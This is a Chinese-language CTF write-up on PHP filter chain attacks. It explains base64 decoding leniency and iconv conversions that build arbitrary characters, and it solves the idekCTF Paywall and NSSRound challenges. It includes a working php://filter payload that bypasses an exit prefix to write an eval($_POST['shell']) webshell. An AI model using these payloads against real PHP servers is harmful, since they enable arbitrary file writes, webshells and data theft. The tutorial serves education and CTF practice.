当前位置: 首页 > article >正文

FilterChain攻击解析及利用

文章目录

  • BASE64解码和编码原理浅析
    • Encoding
    • Decoding
  • Filterchain构造(原理阐述)
    • 回顾死亡代码
    • 特性一(双重去杂)
    • 特性二(粘合性)
  • 任意字符构造
    • 工具一
    • 工具二
  • 实战例题
    • [NSSRound#7 Team]brokenFilterChain(理解原理)
    • [idekCTF 2022]Paywall


BASE64解码和编码原理浅析

Encoding

Base64编码字符表如下,编码过后的字符只能在下面范围内选(还有等号”=”)
在这里插入图片描述

Base64编码是从3->4的编码,也就是从三个字节变成四个字节的过程,假如编码字符总数不是3或者不是3的倍数,空缺部分会用”=”补齐,例如:

rev1ve => cmV2MXZl
rev1ve1 => cmV2MXZlMQ==

这两个例子符合我们所说的规则,第一个由3变成4,第二个是4(不是3的倍数)因此最后字符数字为8,有2个等号进行补齐了,很简单的原理

Decoding

解码也就是编码的逆过程,理所当然就是4->3的过程。而且当我们把补齐的等号去除后,依然可以成功解码,比如cmV2MXZlMQ => rev1ve1。上面我们提到了有效字符,假如需要解码的字符串中包含无效字符,那么就会忽略掉那些字符,只对有效字符进行解码,这是base64的一个特性,这里叫他宽松性。也就是说cm<?V2MXZl => rev1ve

无效字符不会进行解码,在之前讲的file_put_contents与死亡代码中我们就用到了这一特性

Filterchain构造(原理阐述)

回顾死亡代码

源码

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

当用户通过POST方式提交一个数据时,会与死亡exit进行拼接,从而避免提交的数据被执行。我们
利用编码的方式,将死亡代码解码成乱码来绕过

这里我们以base64编码为例,我们目的是写马<?php eval($_POST['shell']);?>,将其base64编码一下

txt=PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+&filename=php://filter/write=convert.base64-decode/resource=1.php

拼接上前面的死亡代码,得到如下

<?php exit; ?>PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+

但是我们base64解码会发现出现乱码,如何解决呢
由于base64解码是4个字节为一组,那么去除掉不可见字符<? ;后,我们需要手动添加一个a,组成phpe xita使得绕过死亡代码
在这里插入图片描述

而今天我们要说的filterChain也和iconv中的编码有关。iconv -l可以查看本地的iconv编码
在这里插入图片描述

特性一(双重去杂)

我们可以在linux上测试下,demo如下

<?php
$content1=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR/resource=data://,bbb');
$content2=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode/resource=data://,bbb');
$content3=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,bbb');
var_dump($content1);
var_dump(bin2hex($content1));
echo "=========================================="."\n";
var_dump($content2);
var_dump(bin2hex($content2));
echo "=========================================="."\n";
var_dump($content3);
var_dump(bin2hex($content3));
?>

运行结果如下
在这里插入图片描述
经过从UTF-8->CSISO2022KR后,我们发现长度为7个字节,但是只显示Cbbb。我们拿去解码一下,发现剩下的为不可见字符
在这里插入图片描述
在这里就要介绍filter第一个特性了,也就是强制显示(这一点是根据Decoding阶段忽略无效字符得出的)

而第二条数据我们可以看到经过convert.base64-decode后长度为3个字节,因为虽然第一条数据长度为7,但是可见字符长度为4,符合3->4

再看第三条数据,解码完再编码结果仍为Cbbb,也就是说去除了像第一条数据的CSISO2022KR的字符,所以也符合4->3。这就是去杂,同时还构造出了一个字符C

特性二(粘合性)

测试代码如下

<?php
$content1=file_get_contents("php://filter/convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4/resource=data://,bbb");
$content2=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,bbb');
$content3=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode/resource=data://,bbb');
var_dump($content1);
var_dump(bin2hex($content1));
echo "=========================================="."\n";
var_dump($content2);
var_dump(bin2hex($content2));
echo "=========================================="."\n";
var_dump($content3);
var_dump(bin2hex($content3));
?>

运行结果
在这里插入图片描述

分析一下

  1. 第一条的输出结果多构造出了个字符1
  2. 第二条的输出结果是前一个特性中的那条
  3. 第三条的输出结果是在第二条的基础上再加上第一条的过滤器,得到的结果是在首位构造出了字符1,然后其他的往后推移了一位,这样就把构造出的1和C连接在了一起

那么如果能构造26个字母以及所有数字,是不是理论上就可以通过这个filterchain获取任意的语句了?

这就是粘合性:构造出的字符可以拼贴在一起

任意字符构造

下面推荐两个工具

工具一

地址
使用方法
比如题目要求我们的字符串中的第0个位置出现FREE
为了满足base64解码要求,添加bb组成3的倍数
在这里插入图片描述

工具二

地址

我们只需要修改Generator.py中的代码即可

# set your parameter
file_to_use = "flag"
str_to_gerenate = "FREEbb"

然后python Generator.py即可

实战例题

[NSSRound#7 Team]brokenFilterChain(理解原理)

给了附件,其中encode后面多空格去掉先
然后运行发现报错,我们把最后面的decode去掉
得到一串字符串(说明字符串长度不为4的倍数报错)

NssssCTFeyAgphhpRmlsdGVyQ2hhMW5fW4sS0FunICB9GyQp

我们手动分组

Nsss sCTF eyAg phhp Rmls dGVy Q2hh MW5f W4sS 0Fun ICB9 GyQp

对部分解码

eyAg -> {
phhp
RmlsdGVyQ2hhMW5f -> FilterCha1n_
W4sS0Fun
ICB9-> }

得到flag

NssssCTF{phhpFilterCha1n_W4sS0Fun}

[idekCTF 2022]Paywall

题目是白盒,代码如下

 <?php if (isset($_GET['source'])) highlight_file(__FILE__) && die() ?>

    <?php

        error_reporting(0);
        set_include_path('articles/');

        if (isset($_GET['p'])) {
            $article_content = file_get_contents($_GET['p'], 1);

            if (strpos($article_content, 'PREMIUM') === 0) {
                die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions
            }
            else if (strpos($article_content, 'FREE') === 0) {
                echo "<article>$article_content</article>";
                die();
            }
            else {
                die('nothing here');
            }
        }
           
    ?>
//省略部分代码

关键就是如何实现if (strpos($article_content, 'FREE') === 0),我们就利用工具二去构造,首先要出现FREE,其次也要满足是3的倍数
在这里插入图片描述
得到flag
在这里插入图片描述


http://www.kler.cn/a/145896.html

相关文章:

  • STM32 FreeRTOS 任务挂起和恢复---实验
  • 在k8s中部署一个可外部访问的Redis Sentinel
  • SDL2:arm64下编译使用 -- SDL2多媒体库使用音频实例
  • 微服务与docker
  • 财务RPA就是财务机器人吗?有什么作用
  • [STM32 HAL库]串口空闲中断+DMA接收不定长数据
  • ATK-ESP8266 WIFI模块串口通信通用实现方案
  • mac VScode 添加PHP debug
  • 在 Ubuntu 上安装最新版的 Calibre
  • ElasticSearch之禁用交换分区
  • 数据结构 / 顺序表的遍历
  • 云匣子 FastJson反序列化RCE漏洞复现
  • 京东数据分析(京东大数据):2023年10月京东手机行业品牌销售排行榜
  • 初学vue3与ts:setup与setup()下的数据写法
  • Blender快捷键总结
  • vs2015如何远程启动程序来进行调试
  • Vue轻松入门,附带学习笔记和相关案例
  • Retrofit怎么返回一个JSON字符串?
  • TS常见类型概述
  • 1. 图的广度优先遍历
  • docker 常用容器创建(自用)
  • 操作系统题目分类总结 | 进程管理 内存管理 文件系统 设备管理
  • 2023/11/26总结
  • 5 动态规划解分割等和子串
  • bootstrap 5 登录、注册页面
  • Java小游戏“简易版王者荣耀”